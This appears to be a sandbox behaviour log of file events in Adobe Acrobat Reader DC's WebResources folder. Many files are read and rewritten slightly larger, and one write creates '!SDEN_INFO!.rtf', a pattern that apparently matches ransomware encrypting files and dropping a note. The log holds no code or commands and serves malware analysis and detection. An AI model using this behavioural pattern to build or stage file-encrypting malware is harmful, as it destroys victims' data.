File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nl-nl\ui-strings.js, size = 1178, size_out = 1178	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nl-nl\ui-strings.js, size = 2594	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ui-strings.js, size = 2521	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Crossmark_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Crossmark_White@1x.png, size = 478, size_out = 478	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Crossmark_White@1x.png, size = 1894	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Crossmark_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Crossmark_White@1x.png, size = 478, size_out = 478	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Crossmark_White@1x.png, size = 1894	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\circle.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\circle.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\circle.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\x.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\x.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\x.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fi-fi\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fi-fi\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fi-fi\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pt-br\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pt-br\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pt-br\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-cn\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-cn\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-cn\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main-selector.css, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-tool-view.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\files_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\files_icons.png, size = 389, size_out = 389	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\files_icons.png, size = 1805	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\es-es\ui-strings.js, size = 935, size_out = 935	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\es-es\ui-strings.js, size = 2351	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ui-strings.js, size = 973, size_out = 973	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ui-strings.js, size = 2389	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-ae\ui-strings.js, size = 1341, size_out = 1341	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-ae\ui-strings.js, size = 2757	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\ui-strings.js, size = 1427, size_out = 1427	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\ui-strings.js, size = 2843	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\ui-strings.js, size = 1602, size_out = 1602	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\ui-strings.js, size = 3018	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\plugin.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-il\ui-strings.js, size = 850, size_out = 850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-il\ui-strings.js, size = 2266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\ui-strings.js, size = 851, size_out = 851	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\ui-strings.js, size = 2267	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\ui-strings.js, size = 851, size_out = 851	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\ui-strings.js, size = 2267	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png, size = 703, size_out = 703	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png, size = 2119	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_pattern_RHP.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_pattern_RHP.png, size = 179, size_out = 179	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_pattern_RHP.png, size = 1595	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\ui-strings.js, size = 1043, size_out = 1043	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\ui-strings.js, size = 2459	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\ui-strings.js, size = 1050, size_out = 1050	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\ui-strings.js, size = 2466	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\ui-strings.js, size = 1041, size_out = 1041	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\ui-strings.js, size = 2457	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-cn\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\ui-strings.js, size = 1038, size_out = 1038	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\ui-strings.js, size = 2454	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\ui-strings.js, size = 1025, size_out = 1025	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\ui-strings.js, size = 2441	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ui-strings.js, size = 2631	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\example_icons2x.png, size = 5624, size_out = 5624	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\example_icons2x.png, size = 7040	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fi-fi\ui-strings.js, size = 4419, size_out = 4419	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fi-fi\ui-strings.js, size = 5835	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pl-pl\ui-strings.js, size = 4453, size_out = 4453	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pl-pl\ui-strings.js, size = 5869	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
